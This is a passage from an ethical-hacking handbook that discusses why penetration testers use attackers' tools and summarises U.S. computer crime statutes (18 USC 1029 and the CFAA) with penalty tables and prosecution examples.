aspects, in reality it is not this grand or romantic. A computer is just a new tool to carry
out old crimes.
CAUTION Attackers are only one component of information security.
Unfortunately, when most people think of security, their minds go right to
packets, firewalls, and hackers. Security is a much larger and more complex
beast than these technical items. Real security includes policies and
procedures, liabilities and laws, human behavior patterns, corporate security programs and
implementation, and yes, the technical aspects—firewalls, intrusion detection systems (IDSs),
proxies, encryption, antivirus software, hacks, cracks, and attacks.
So where do we stand on hacking books and hacking classes? Directly on top of a slippery banana peel. There are currently three prongs to the problem of today’s hacking
classes and books. First, marketing people love to use the word “hacking” instead of more
meaningful and responsible labels such as “penetration methodology.” This means that
too many things fall under the umbrella of hacking. All of these procedures now take on
the negative connotation that the word “hacking” has come to be associated with. Second,
understanding the difference between hacking and ethical hacking, and understanding
the necessity of ethical hacking (penetration testing) in the security industry are needed.
Third, many hacking books and classes are irresponsible. If these items are really being
developed to help out the good guys, they should be developed and structured that way.
This means more than just showing how to exploit a vulnerability. These educational
PART I
procedures, and making them attend security awareness training does not usually get you
invited to the Friday night get-togethers at the bar. Instead these people are often called
“Security Nazi” or “Mr. No” behind their backs. They are responsible for the balance
between functionality and security within the company, and it is a hard job.
The ethical hackers’ job is to find many of these things that are running on systems
and networks, and they need to have the skill set to know how an enemy would use
them against the organization. This needs to be brought to management and presented
in business terms and scenarios, so that the ultimate decision makers can truly understand these threats without having to know the definitions and uses of fuzzing tools,
bots, and buffer overflows.
Gray Hat Hacking: The Ethical Hacker’s Handbook
12
components should show the necessary countermeasures required to fight against these
types of attacks, and how to implement preventive measures to help ensure that these vulnerabilities are not exploited. Many books and courses tout the message of being a
resource for the white hat and security professional. If you are writing a book or curriculum for black hats, then just admit it. You will make just as much (or more) money, and
you will help eliminate the confusion between the concepts of hacking and ethical
hacking.
The Dual Nature of Tools
In most instances, the toolset used by malicious attackers is the same toolset used by
security professionals. A lot of people do not seem to understand this. In fact, the books,
classes, articles, websites, and seminars on hacking could be legitimately renamed
“security professional toolset education.” The problem is that marketing people like to
use the word “hacking” because it draws more attention and paying customers.
As covered earlier, ethical hackers go through the same processes and procedures as
unethical hackers, so it only makes sense that they use the same basic toolset. It would
not be useful to prove that attackers could get through the security barriers with Tool A if
attackers do not use Tool A. The ethical hacker has to know what the bad guys are using,
know the new exploits that are out in the underground, and continually keep her skills
and knowledgebase up to date. This is because the odds are against the company and
against the security professional. The reason is that the security professional has to identify and address all of the vulnerabilities in an environment. The attacker only has to be
really good at one or two exploits, or really lucky. A comparison can be made to the U.S.
Homeland Security responsibilities. The CIA and FBI are responsible for protecting the
nation from the 10 million things terrorists could possibly think up and carry out. The
terrorist only has to be successful at one of these 10 million things.
NOTE Many ethical hackers engage in the hacker community so they can
learn about the new tools and attacks that are about to be used on victims.
How Are These Tools Used for Good Instead of Evil?
How would a company’s networking staff ensure that all of the employees are creating
complex passwords that meet the company’s password policy? They can set operating system configurations to make sure the passwords are of a certain length, contain upper- and
lowercase letters, contain numeric values, and keep a password history. But these configurations cannot check for dictionary words or calculate how much protection is being provided from brute-force attacks. So the team can use a hacking tool to carry out dictionary
and brute-force attacks on individual passwords to actually test their strength. The other
choice is to go to all employees and ask what their password is, write down the password,
and eyeball it to determine if it is good enough. Not a good alternative.
Chapter 1: Ethics of Ethical Hacking
13
The same security staff need to make sure that their firewall and router configurations
will actually provide the protection level that the company requires. They could read the
manuals, make the configuration changes, implement ACLs (access control lists), and
then go and get some coffee. Or they could implement the configurations and then run
tests against these settings to see if they are allowing malicious traffic into what they
thought had controlled access. These tests often require the use of hacking tools. The
tools carry out different types of attacks, which allow the team to see how the perimeter
devices will react in certain circumstances.
Nothing should be trusted until it is tested. In an amazing number of cases, a company seemingly does everything correctly when it comes to their infrastructure security.
They implement policies and procedures, roll out firewalls, IDSs, and antivirus software,
have all of their employees attend security awareness training, and continually patch
their systems. It is unfortunate that these companies put forth all the right effort and
funds only to end up on CNN as the latest victim who had all of their customers’ credit
card numbers stolen and posted on the Internet. This can happen because they did not
carry out the necessary vulnerability and penetration tests.
Every company should decide whether their internal employees will learn and maintain their skills in vulnerability and penetration testing, or if an outside consulting service will be used, and then ensure that testing is carried out in a continual scheduled
manner.
References
Tools www.hackingexposed.com/tools/tools.html
Top 100 Network Security Tools for 2006 http://netsecurity.about.com/od/hackertools/a/
top1002006.htm
Top 15 Network Security Tools www.darknet.org.uk/2006/04/top-15-securityhacking-toolsutilities/
Recognizing Trouble When It Happens
Network administrators, engineers, and security professionals need to be able to recognize when an attack is under way, or when one is about to take place. It may seem as
though recognizing an attack as it is happening should be easily accomplished. This is
only true for the very “noisy” attacks or overwhelming attacks, as in denial-of-service
(DoS) attacks. Many attackers fly under the radar and go unnoticed by security devices
and staff members. It is important to know how different types of attacks take place so
they can be properly recognized and stopped.
PART I
NOTE A company’s security policy should state that this type of password
testing activity is allowed by the security team. Breaking employees’ passwords
could be seen as intrusive and wrong if management does not acknowledge
and allow for such activities to take place. Make sure you get permission
before you undertake this type of activity.
Gray Hat Hacking: The Ethical Hacker’s Handbook
14
Security issues and compromises are not going to go away anytime soon. People who
work in corporate positions that touch security in any way should not try to ignore it or
treat security as though it is an island unto itself. The bad guys know that to hurt an
enemy is to take out what that victim depends upon most. Today the world is only
becoming more dependent upon technology, not less. Though application development and network and system configuration and maintenance are complex, security is
only going to become more entwined with them. When network staff have a certain
level of understanding of security issues and how different compromises take place, they
can act more effectively and efficiently when the “all hands on deck” alarm is sounded.
In ten years, there will not be such a dividing line between security professionals and
network engineers. Network engineers will be required to carry out tasks of a security
professional, and security professionals will not make such large paychecks.
It is also important to know when an attack may be around the corner. If the security
staff are educated on attacker techniques and they see a ping sweep followed a day later
by a port scan, they will know that most likely in three days their systems will be
attacked. There are many activities that lead up to different attacks, so understanding
these items will help the company protect itself. The argument can be made that we have
automated security products that identify these types of activities so that we don’t have
to. But it is very dangerous to just depend upon software that does not have the ability to
put the activities in the necessary context and make a decision. Computers can outperform any human on calculations and performing repetitive tasks, but we still have the
ability to make some necessary judgment calls because we understand the grays in life
and do not just see things in 1s and 0s.
So it is important to see how hacking tools are really just software tools that carry out
some specific type of procedure to achieve a desired result. The tools can be used for
good (defensive) purposes or for bad (offensive) purposes. The good and the bad guys
use the same toolset; it is just the intent that is practiced when operating these utilities
that differs. It is imperative for the security professional to understand how to use these
tools, and how attacks are carried out, if he is going to be of any use to his customer and
to the industry.
Emulating the Attack
Once network administrators, engineers, and security professionals understand how
attackers work, they can emulate the attackers’ activities if they plan on carrying out a
useful penetration test (“pen test”). But why would anyone want to emulate an attack?
Because this is the only way to truly test an environment’s security level—how it will
react when a real attack is being carried out on it.
This book walks you through these different steps so that you can understand how
many types of attacks take place. It can help you develop methodologies of how to emulate similar activities to test your company’s security level.
Many elementary ethical hacking books are already available in every bookstore. The
demand for these books and hacking courses over the years has shown the interest and
the need in the market. It is also obvious that although some people are just entering
this sector, many individuals are ready to move on to the more advanced topics of
Chapter 1: Ethics of Ethical Hacking
15
Security Does Not Like Complexity
Software in general is very complicated, and the more functionality that we try to shove
into applications and operating systems, the more complex software will become. The
more complex software gets, the harder it is to properly predict how it will react in all
possible scenarios, and it becomes much harder to secure.
Today’s operating systems and applications are increasing in lines of code (LOC).
Windows Vista has 50 million lines of code, and Windows XP has approximately 40 million
LOC; Netscape, 17 million LOC; and Windows 2000, around 29 million LOC. Unix and
Linux operating systems have many fewer, usually around 2 million LOC. A common
estimate used in the industry is that 5–50 bugs exist per 1,000 lines of code. So a middle of
the road estimate would be that Windows XP has approximately 1,200,000 bugs. (Not a
statement of fact. Just a guesstimation.)
It is difficult enough to try to logically understand and secure 17–40 million LOC,
but the complexity does not stop there. The programming industry has evolved from traditional programming languages to object-oriented languages, which allow for a modular approach to developing software. There are a lot of benefits to this approach:
reusable components, faster to-market times, decrease in programming time, and easier
ways to troubleshoot and update individual modules within the software. But applications and operating systems use each other’s components, users download different
types of mobile code to extend functionality, DLLs (dynamic linked libraries) are
installed and shared, and instead of application-to-operating system communication,
today many applications communicate directly with each other. This does not allow for
the operating system to control this type of information flow and provide protection
against possible compromises.
If we peek under the covers even further, we see that thousands of protocols are integrated into the different operating system protocol stacks, which allow for distributed
computing. The operating systems and applications must rely on these protocols for
transmission to another system or application, even if the protocols contain their own
inherent security flaws. Device drivers are developed by different vendors and installed
into the operating system. Many times these drivers are not well developed and can negatively affect the stability of an operating system. Device drivers work in the context of
privilege mode, so if they “act up” or contain exploitable vulnerabilities, this only allows
the attackers more privilege on the systems once the vulnerabilities are exploited. And to
PART I
ethical hacking. The goal of this book is to quickly go through some of the basic ethical
hacking concepts and spend more time with the concepts that are not readily available
to you—but are unbelievably important.
Just in case you choose to use the information in this book for unintended purposes
(malicious activity), in the next chapters we will also walk through several federal laws
that have been put into place to scare you away from this. A wide range of computer
crimes are taken seriously by today’s court system, and attackers are receiving hefty fines
and jail sentences for their activities. Don’t let it be you. There is just as much fun and
intellectual stimulation to be had working as a good guy, with no threat of jail time!
Gray Hat Hacking: The Ethical Hacker’s Handbook
16
get even closer to the hardware level, injection of malicious code into firmware has
always been an attack vector.
So is it all doom and gloom? Yep, for now. Until we understand that a majority of the
successful attacks are carried out because software vendors do not integrate security into
the design and specification phases of development, that most programmers have not
been properly taught how to code securely, that vendors are not being held liable for
faulty code, and that consumers are not willing to pay more for properly developed and
tested code, our staggering hacking and company compromise statistics will only
increase.
Will it get worse before it gets better? Probably. Every industry in the world is becoming more reliant on software and technology. Software vendors have to carry out continual one-upmanship to ensure their survivability in the market. Although security is
becoming more of an issue, functionality of software has always been the main driving
component of products and it always will be. Attacks will also continue and increase in
sophistication because they are now revenue streams for individuals, companies, and
organized crime groups.
Will vendors integrate better security, ensure their programmers are properly trained
in secure coding practices, and put each product through more and more testing cycles?
Not until they have to. Once the market truly demands that this level of protection and
security is provided by software products, and customers are willing to pay more for
security, then the vendors will step up to the plate. Currently most vendors are only integrating protection mechanisms because of the backlash and demand from their customer bases. Unfortunately, just as September 11th awakened the United States to its
vulnerabilities, something catastrophic may have to take place in the compromise of
software before the industry decides to properly address this issue.
So we are back to the original question: what does this have to do with ethical hacking? A novice ethical hacker will use tools developed by others who have uncovered specific vulnerabilities and methods to exploit them. A more advanced ethical hacker will
not just depend upon other people’s tools, but will have the skill set and understanding
to be able to look at the code itself. The more advanced ethical hacker will be able to
identify possible vulnerabilities and programming code errors, and develop ways to rid
the software of these types of flaws.
References
www.grayhathackingbook.com
SANS Top 20 Vulnerabilities—The Experts Consensus www.sans.org/top20/
Latest Computer Security News www.securitystats.com
Internet Storm Center http://isc.sans.org/
Hackers, Security, Privacy www.deaddrop.org/sites.html
CHAPTER
Ethical Hacking and the
Legal System
•
•
•
•
Laws dealing with computer crimes and what they address
Malware and insider threats companies face today
Mechanisms of enforcement of relevant laws
Federal and state laws and their application
We are currently in a very interesting time where information security and the legal system are being slammed together in a way that is straining the resources of both systems.
The information security world uses terms and concepts like “bits,” “packets,” and
“bandwidth,” and the legal community uses words like “jurisdiction,” “liability,” and
“statutory interpretation.” In the past, these two very different sectors had their own
focus, goals, and procedures that did not collide with one another. But as computers
have become the new tools for doing business and for committing traditional and new
crimes, the two worlds have had to independently approach and interact in a new
space—now sometimes referred to as cyberlaw.
Today’s CEOs and management not only need to worry about profit margins, market
analysis, and mergers and acquisitions. Now they need to step into a world of practicing
security due care, understanding and complying with new government privacy and
information security regulations, risking civil and criminal liability for security failures
(including the possibility of being held personally liable for certain security breaches),
and trying to comprehend and address the myriad of ways in which information security problems can affect their companies. Business managers must develop at least a
passing familiarity with the technical, systemic, and physical elements of information
security. They also need to become sufficiently well-versed in the legal and regulatory
requirements to address the competitive pressures and consumer expectations associated with privacy and security that affect decision making in the information security
area, which is a large and growing area of our economy.
Just as businesspeople must increasingly turn to security professionals for advice in
seeking to protect their company’s assets, operations, and infrastructure, so too must
they turn to legal professionals for assistance in navigating the changing legal landscape
in the privacy and information security area. Laws and related investigative techniques
are being constantly updated in an effort by legislators, governmental and private
17
2
Gray Hat Hacking: The Ethical Hacker’s Handbook
18
information security organizations, and law enforcement professionals to counter each
new and emerging form of attack and technique that the bad guys come up with. Thus,
the security technology developers and other professionals are constantly trying to outsmart the sophisticated attackers, and vice versa. In this context, the laws provide an
accumulated and constantly evolving set of rules that tries to stay in step with the new
crime types and how they are carried out.
Compounding the challenge for business is the fact that the information security situation is not static; it is highly fluid and will remain so for the foreseeable future. This is
because networks are increasingly porous to accommodate the wide range of access
points needed to conduct business. These and other new technologies are also giving rise
to new transaction structures and ways of doing business. All of these changes challenge
the existing rules and laws that seek to govern such transactions. Like business leaders,
those involved in the legal system, including attorneys, legislators, government regulators,
judges, and others, also need to be properly versed in the developing laws (and customer
and supplier product and service expectations that drive the quickening evolution of new
ways of transacting business)—all of which is captured in the term “cyberlaw.”
Cyberlaw is a broad term that encompasses many elements of the legal structure that are
associated with this rapidly evolving area. The rise in prominence of cyberlaw is not surprising if you consider that the first daily act of millions of American workers is to turn on their
computers (frequently after they have already made ample use of their other Internet access
devices and cell phones). These acts are innocuous to most people who have become accustomed to easy and robust connections to the Internet and other networks as a regular part of
their lives. But the ease of access also results in business risk, since network openness can
also enable unauthorized access to networks, computers, and data, including access that
violates various laws, some of which are briefly described in this chapter.
Cyberlaw touches on many elements of business, including how a company contracts and interacts with its suppliers and customers, sets policies for employees handling data and accessing company systems, uses computers in complying with
government regulations and programs, and a number of other areas. A very important
subset of these laws is the group of laws directed at preventing and punishing the unauthorized access to computer networks and data. Some of the more significant of these
laws are the focus of this chapter.
Security professionals should be familiar with these laws, since they are expected to
work in the construct the laws provide. A misunderstanding of these ever-evolving laws,
which is certainly possible given the complexity of computer crimes, can, in the extreme
case, result in the innocent being prosecuted or the guilty remaining free. Usually it is
the guilty ones that get to remain free.
This chapter will cover some of the major categories of law that relate to cybercrime and
list the technicalities associated with each. In addition, recent real-world examples are documented to better demonstrate how the laws were created and have evolved over the years.
References
Stanford Law University http://cyberlaw.stanford.edu
Cyber Law in Cyberspace www.cyberspacelaw.org
Chapter 2: Ethical Hacking and the Legal System
19
Many countries, particularly those with economies that have more fully integrated computing and telecommunications technologies, are struggling to develop laws and rules for
dealing with computer crimes. We will cover selected U.S. federal computer crime laws in
order to provide a sample of these many initiatives; a great deal of detail regarding these
laws is omitted and numerous laws are not covered. This chapter is not intended to provide a thorough treatment of each of these laws, or to cover any more than the tip of the
iceberg of the many U.S. technology laws. Instead it is meant to raise the importance of
considering these laws in your work and activities as an information security professional.
That in no way means that the rest of the world is allowing attackers to run free and wild.
With just a finite number of pages, we cannot properly cover all legal systems in the world
or all of the relevant laws in the United States. It is important that you spend the time to
fully understand the law that is relevant to your specific location and activities in the information security area.
The following sections survey some of the many U.S. federal computer crime statutes,
including:
• 18 USC 1029: Fraud and Related Activity in Connection with Access Devices
• 18 USC 1030: Fraud and Related Activity in Connection with Computers
• 18 USC 2510 et seq.: Wire and Electronic Communications Interception and
Interception of Oral Communications
• 18 USC 2701 et seq.: Stored Wire and Electronic Communications and
Transactional Records Access
• The Digital Millennium Copyright Act
• The Cyber Security Enhancement Act of 2002
18 USC Section 1029: The Access Device Statute
The purpose of the Access Device Statute is to curb unauthorized access to accounts; theft
of money, products, and services; and similar crimes. It does so by criminalizing the possession, use, or trafficking of counterfeit or unauthorized access devices or device-making
equipment, and other similar activities (described shortly) to prepare for, facilitate, or
engage in unauthorized access to money, goods, and services. It defines and establishes
penalties for fraud and illegal activity that can take place by the use of such counterfeit
access devices.
The elements of a crime are generally the things that need to be shown in order for
someone to be prosecuted for that crime. These elements include consideration of the
potentially illegal activity in light of the precise meaning of “access device,” “counterfeit
access device,” “unauthorized access device,” “scanning receiver,” and other definitions
that together help to define the scope of application of the statute.
The term “access device” refers to a type of application or piece of hardware that is
created specifically to generate access credentials (passwords, credit card numbers,
PART I
Addressing Individual Laws
Gray Hat Hacking: The Ethical Hacker’s Handbook
20
long-distance telephone service access codes, PINs, and so on) for the purpose of unauthorized access. Specifically, it is defined broadly to mean:
…any card, plate, code, account number, electronic serial number, mobile
identification number, personal identification number, or other
telecommunications service, equipment, or instrument identifier, or other
means of account access that can be used, alone or in conjunction with another
access device, to obtain money, goods, services, or any other thing of value, or
that can be used to initiate a transfer of funds (other than a transfer originated
solely by paper instrument).
For example, phreakers (telephone system attackers) use a software tool to generate a
long list of telephone service codes so that they can acquire free long-distance services
and sell these services to others. The telephone service codes that they generate would be
considered to be within the definition of an access device, since they are codes or electronic serial numbers that can be used, alone or in conjunction with another access
device, to obtain services. They would be counterfeit access devices to the extent that the
software tool generated false numbers that were counterfeit, fictitious, or forged. Finally,
a crime would occur with each of the activities of producing, using, or selling these
codes, since the Access Device Statute is violated by whoever “knowingly and with intent
to defraud, produces, uses, or traffics in one or more counterfeit access devices.”
Another example of an activity that violates the Access Device Statute is the activity of
crackers, who use password dictionaries to generate thousands of possible passwords
that users may be using to protect their assets.
“Access device” also refers to the actual credential itself. If an attacker obtains a password, credit card number, or bank PIN, or if a thief steals a calling card number, and this
value is used to access an account or obtain a product or service or to access a network or
a file server, it would be considered to be an act that violated the Access Device Statute.
A common method that attackers use when trying to figure out what credit card numbers merchants will accept is to use an automated tool that generates random sets of
potentially usable credit card values. Two tools (easily obtainable on the Internet) that
generate large volumes of credit card numbers are Credit Master and Credit Wizard. The
attackers submit these generated values to retailers and others with the goal of fraudulently obtaining services or goods. If the credit card value is accepted, the attacker knows
that this is a valid number, which they then continue to use (or sell for use) until the
activity is stopped through the standard fraud protection and notification systems that
are employed by credit card companies, retailers, and banks. Because this attack type has
worked so well in the past, many merchants now require users to enter a unique card
identifier when making online purchases. This is the three-digit number located on the
back of the card that is unique to each physical credit card (not just unique to the
account). Guessing a 16-digit credit card number is challenging enough, but factoring in
another three-digit identifier makes the task much more difficult, and next to impossible without having the card in hand.
Chapter 2: Ethical Hacking and the Legal System
21
PART I
Another example of an access device crime is skimming. In June 2006, the Department
of Justice (DOJ), in an operation appropriately named “Operation French Fry,” arrested
eight persons (a ninth was indicted and declared a fugitive) in an identity theft ring
where waiters had skimmed debit card information from more than 150 customers at
restaurants in the Los Angeles area. The thieves had used access device–making equipment to restripe their own cards with the stolen account information, thus creating
counterfeit access devices. After requesting new PINs for the compromised accounts,
they would proceed to withdraw money from the accounts and use the funds to purchase postal money orders. Through this scheme, the group was allegedly able to steal
over $1 million in cash and money orders.
Table 2-1 outlines the crime types addressed in section 1029 and their corresponding
punishments. These offenses must be committed knowingly and with intent to defraud
for them to be considered federal crimes.
A further example of a crime that can be punished under the Access Device Statute is
the creation of a website or the sending of e-mail “blasts” that offer false or fictitious
products or services in an effort to capture credit card information, such as products that
promise to enhance one’s sex life in return for a credit card charge of $19.99. (The snake
oil miracle workers who once had wooden stands filled with mysterious liquids and
herbs next to dusty backcountry roads have now found the power of the Internet.) These
phony websites capture the submitted credit card numbers and use the information to
purchase the staples of hackers everywhere: pizza, portable game devices, and, of course,
additional resources to build other malicious websites.
The types and seriousness of fraudulent activities that fall within the Access Device Statute are increasing every year. The U.S. Justice Department reported in July 2006 that 6.7
percent of white-collar prosecutions that month were related to Title 18 USC 1029. The
Access Device Statute was among the federal crimes cited as violated in 17 new court cases
that were filed in the U.S. district courts in that month, ranking this set of cybercrimes
sixth overall among white-collar crimes. This level of activity represents a 340 percent
increase over the same month in 2005 (when there were only five district court filings),
and a 425 percent increase over July 2001 (when there were only four such filings).
Because the Internet allows for such a high degree of anonymity, these criminals are
generally not caught or successfully prosecuted. As our dependency upon technology
increases and society becomes more comfortable with carrying out an increasingly
broad range of transactions electronically, such threats will only become more prevalent. Many of these statutes, including Section 1029, seek to curb illegal activities that
cannot be successfully fought with just technology alone. So basically you need several
tools in your bag of tricks to fight the bad guys—technology, knowledge of how to use
the technology, and the legal system. The legal system will play the role of a sledgehammer to the head that attackers will have to endure when crossing the boundaries.
Section 1029 addresses offenses that involve generating or illegally obtaining access credentials. This can involve just obtaining the credentials or obtaining and using them. These
activities are considered criminal whether or not a computer is involved. This is different from
the statute discussed next, which pertains to crimes dealing specifically with computers.
Gray Hat Hacking: The Ethical Hacker’s Handbook
22
Crime
Penalty
Example
Producing, using, or trafficking in
one or more counterfeit access
devices
Fine of $50,000 or twice the value of
the crime and/or up to 15 years in
prison, $100,000 and/or up to 20
years if repeat offense
Fine of $10,000 or twice the value of
the crime and/or up to 10 years in
prison, $100,000 and/or up to 20
years if repeat offense
Creating or using a software tool
to generate credit card numbers
Fine of $10,000 or twice the value of
the crime and/or up to 10 years in
prison, $100,000 and/or up to 20
years if repeat offense
Fine of $50,000 or twice the value of
the crime and/or up to 15 years in
prison, $1,000,000 and/or up to 20
years if repeat offense
Fine of $10,000 or twice the value of
the crime and/or up to 10 years in
prison, $100,000 and/or up to 20
years if repeat offense
Hacking into a database and
obtaining 15 or more credit card
numbers
Using an access device to gain
unauthorized access and obtain
anything of value totaling $1,000
or more during a one-year
period
Possessing 15 or more
counterfeit or unauthorized
access devices
Producing, trafficking, having
control or possession of devicemaking equipment
Effecting transactions with
access devices issued to another
person in order to receive
payment or other thing of value
totaling $1,000 or more during a
one-year period
Soliciting a person for the
purpose of offering an access
device or selling information
regarding how to obtain an
access device
Using, producing, trafficking in,
or having a telecommunications
instrument that has been
modified or altered to obtain
unauthorized use of
telecommunications services
Using, producing, trafficking in,
or having custody or control of
a scanning receiver
Producing, trafficking, having
control or custody of hardware
or software used to alter or
modify telecommunications
instruments to obtain
unauthorized access to
telecommunications services
Causing or arranging for a
person to present, to a credit
card system member or its
agent for payment, records of
transactions made by an access
device
Table 2-1
Using a tool to capture credentials
and using the credentials to break
into the Pepsi-Cola network and
stealing their soda recipe
Creating, having, or selling devices
to illegally obtain user credentials
for the purpose of fraud
Setting up a bogus website and
accepting credit card numbers for
products or service that do not
exist
Fine of $50,000 or twice the value of
the crime and/or up to 15 years in
prison, $100,000 and/or up to 20
years if repeat offense
A person obtains advance payment
for a credit card and does not
deliver that credit card
Fine of $50,000 or twice the value of
the crime and/or up to 15 years in
prison, $100,000 and/or up to 20
years if repeat offense
Cloning cell phones and reselling
them or using them for personal
use
Fine of $50,000 or twice the value of
the crime and/or up to 15 years in
prison, $100,000 and/or up to 20
years if repeat offense
Scanners used to intercept
electronic communication to
obtain electronic serial numbers,
mobile identification numbers for
cell phone recloning purposes
Using and selling tools that can
reconfigure cell phones for
fraudulent activities; PBX
telephone fraud and different
phreaker boxing techniques to
obtain free telecommunication
service
Creating phony credit card
transactions records to obtain
products or refunds
Fine of $10,000 or twice the value of
the crime and/or up to 10 years in
prison, $100,000 and/or up to 20
years if repeat offense
Fine of $10,000 or twice the value of
the crime and/or up to 10 years in
prison, $100,000 and/or up to 20
years if repeat offense
Access Device Statute Laws
Chapter 2: Ethical Hacking and the Legal System
23
U.S. Department of Justice www.cybercrime.gov/cccases.html
Federal Agents Dismantle Identity Theft Ring www.usdoj.gov/usao/cac/pr2006/078.html
Orange County Identity Theft Task Force Cracks Criminal Operation www.usdoj.gov/usao/
cac/pr2006/133.html
Find Law http://news.corporate.findlaw.com
TracReports http://trac.syr.edu/tracreports/bulletins/white_collar_crime/monthlyjul06
18 USC Section 1030 of The Computer Fraud
and Abuse Act
The Computer Fraud and Abuse Act (CFAA) (as amended by the USA Patriot Act) is an
important federal law that addresses acts that compromise computer network security. It
prohibits unauthorized access to computers and network systems, extortion through threats
of such attacks, the transmission of code or programs that cause damage to computers, and
other related actions. It addresses unauthorized access to government, financial institution,
and other computer and network systems, and provides for civil and criminal penalties for
violators. The act provides for the jurisdiction of the FBI and Secret Service.
Table 2-2 outlines the categories of the crimes that section 1030 of the Act addresses.
These offenses must be committed knowingly by accessing a computer without authorization or by exceeding authorized access. You can be held liable under the CFAA if you
knowingly accessed a computer system without authorization and caused harm, even if
you did not know that your actions might cause harm.
The term “protected computer” as commonly used in the Act means a computer used
by the U.S. government, financial institutions, and any system used in interstate or foreign commerce or communications. The CFAA is the most widely referenced statute in
the prosecution of many types of computer crimes. A casual reading of the Act suggests
that it only addresses computers used by government agencies and financial institutions, but there is a small (but important) clause that extends its reach. It indicates that
the law applies also to any system “used in interstate or foreign commerce or communication.” The meaning of “used in interstate or foreign commerce or communication” is
very broad, and, as a result, CFAA operates to protect nearly all computers and networks.
Almost every computer connected to a network or the Internet is used for some type of
commerce or communication, so this small clause pulls nearly all computers and their
uses under the protective umbrella of the CFAA. Amendments by the USA Patriot Act to
the term “protected computer” under CFAA extended the definition to any computers
located outside the United States, as long as they affect interstate or foreign commerce or
communication of the United States. So if the United States can get the attackers, they
will attempt to prosecute them no matter where they live in the world.
The CFAA has been used to prosecute many people for various crimes. There are two
types of unauthorized access that can be prosecuted under the CFAA. These include
wholly unauthorized access by outsiders, and also situations where individuals, such as
employees, contractors, and others with permission, exceed their authorized access and
PART I
References
Gray Hat Hacking: The Ethical Hacker’s Handbook
24
Crime
Punishment
Example
Acquiring national defense, foreign relations, or
restricted atomic energy information with the
intent or reason to believe that the information can
be used to injure the U.S. or to the advantage of
any foreign nation.
Obtaining information in a financial record of a
financial institution or a card issuer, or information
on a consumer in a file of a consumer reporting
agency. Obtaining information from any department
or agency of the U.S. or protected computer
involved in interstate and foreign communication.
Affecting a computer exclusively for the use of a
U.S. government department or agency or, if it is
not exclusive, one used for the government where
the offense adversely affects the use of the
government’s operation of the computer.
Fine and/or up to 1
year in prison, up to 10
years if repeat offense.
Hacking into a government
computer to obtain classified
data.
Fine and/or up to 1
year in prison, up to 10
years if repeat offense.
Breaking into a computer to
obtain another person’s
credit information.
Fine and/or up to 1
year in prison, up to 10
years if repeat offense.
Furthering a fraud by accessing a federal interest
computer and obtaining anything of value, unless
the fraud and the thing obtained consists only of the
use of the computer and the use is not more than
$5,000 in a one-year period.
Through use of a computer used in interstate
commerce, knowingly causing the transmission of a
program, information, code, or command to a
protected computer. The result is damage or the
victim suffers some type of loss.
Fine and/or up to 5
years in prison, up to
10 years if repeat
offense.
Furthering a fraud by trafficking in passwords or
similar information that will allow a computer to be
accessed without authorization, if the trafficking
affects interstate or foreign commerce or if the
computer affected is used by or for the
government.
With intent to extort from any person any money
or other thing of value, transmitting in interstate or
foreign commerce any communication containing
any threat to cause damage to a protected
computer.
Fine and/or up to 1
year in prison, up to 10
years if repeat offense.
Makes it a federal crime to
violate the integrity of a
system, even if information is
not gathered.
Carrying out denial-of-service
attacks against government
agencies.
Breaking into a powerful
system and using its
processing power to run a
password-cracking
application.
Intentional: Disgruntled
employee uses his access to
delete a whole database.
Reckless disregard: Hacking
into a system and accidentally
causing damage. (Or if the
prosecution cannot prove
that the attacker’s intent was
malicious.)
After breaking into a
government computer,
obtaining user credentials and
selling them.
Table 2-2
Penalty with intent to
harm: Fine and/or up to
5 years in prison, up to
10 years if repeat
offense. Penalty for
acting with reckless
disregard: Fine and/or
up to 1 year in prison.
5 years and $250,000
fine for first offense, 10
years and $250,000 for
subsequent offenses.
Encrypting all data on a
government hard drive and
demanding money to then
decrypt the data.
Computer Fraud and Abuse Act Laws
commit crimes. The CFAA states that if someone accesses a computer in an unauthorized manner or exceeds his access rights, he can be found guilty of a federal crime. This
helps companies prosecute employees when they carry out fraudulent activities by abusing (and exceeding) the access rights the companies have given to them. An example of
this situation took place in 2001 when several Cisco employees exceeded their system
Chapter 2: Ethical Hacking and the Legal System
25
NOTE The Secret Service’s jurisdiction and responsibilities have grown since
the Department of Homeland Security (DHS) was established. The Secret
Service now deals with several areas to protect the nation and has established
an Information Analysis and Infrastructure Protection division to coordinate
activities in this area. This encompasses the preventive procedures for protecting “critical
infrastructure,” which include such things as bridges to fuel depots in addition to computer
systems.
The following are examples of the application of the CFAA to intrusions against a
government agency system. In July 2006, U.S. State Department officials reported a
major computer break-in that targeted State Department headquarters. The attack came
from East Asia and included probes of government systems, attempts to steal passwords,
and attempts to implant various backdoors to maintain regular access to the systems.
Government officials declared that they had detected network anomalies, that the systems under attack held unclassified data, and that no data loss was suspected.
NOTE In December 2006, in an attempt to reduce the number of attacks on
its protected systems, the DoD barred the use of HTML-based e-mail due to
the relative ease of infection with spyware and executable code that could
enable intruders to gain access to DoD networks.
In 2003, a hacker was indicted as part of a national crackdown on computer crimes.
The operation was called “Operation Cyber Sweep.” According to the Department of Justice, the attack happened when a cracker brought down the Los Angeles County Department of Child and Family Service’s Child Protection Services Hotline. The attacker was a
former IT technician of a software vendor who provided the critical voice-response system
used by the hotline service. After being laid off by his employer, the cracker gained unauthorized access to the L.A. County–managed hotline and deleted vital configuration files.
This brought the service to a screeching halt. Callers, including child abuse victims,
PART I
rights as Cisco accountants and issued themselves almost $8 million in Cisco stocks—as
though no one would have ever noticed this change on the books.
Many IT professionals and security professionals have relatively unlimited access
rights to networks due to the requirements of their job, and based upon their reputation
and levels of trust they’ve earned throughout their careers. However, just because an
individual is given access to the accounting database, doesn’t mean she has the right to
exceed that authorized access and exploit it for personal purposes. The CFAA could
apply in these cases to prosecute even trusted, credentialed employees who performed
such misdeeds.
Under the CFAA, the FBI and the Secret Service have the responsibility for handling
these types of crimes and they have their own jurisdictions. The FBI is responsible for
cases dealing with national security, financial institutions, and organized crime. The
Secret Service’s jurisdiction encompasses any crimes pertaining to the Treasury Department and any other computer crime that does not fall within the FBI’s jurisdiction.
Gray Hat Hacking: The Ethical Hacker’s Handbook
26
hospital workers, and police officers, were unable to access the hotline or experienced
major delays. In addition to this hotline exploit, the cracker performed similar attacks on
12 other systems for which his former employer had performed services. The cracker was
arrested by the FBI and faced charges under the CFAA of five years in prison and fines
that could total $250,000.
An example of an attack that does not involve government agencies but instead simply represents an exploit in interstate commerce was carried out by a former auto dealer
employee. In this case, an Arizona cracker used his knowledge of automobile computer
systems to obtain credit history information that was stored in databases of automobile
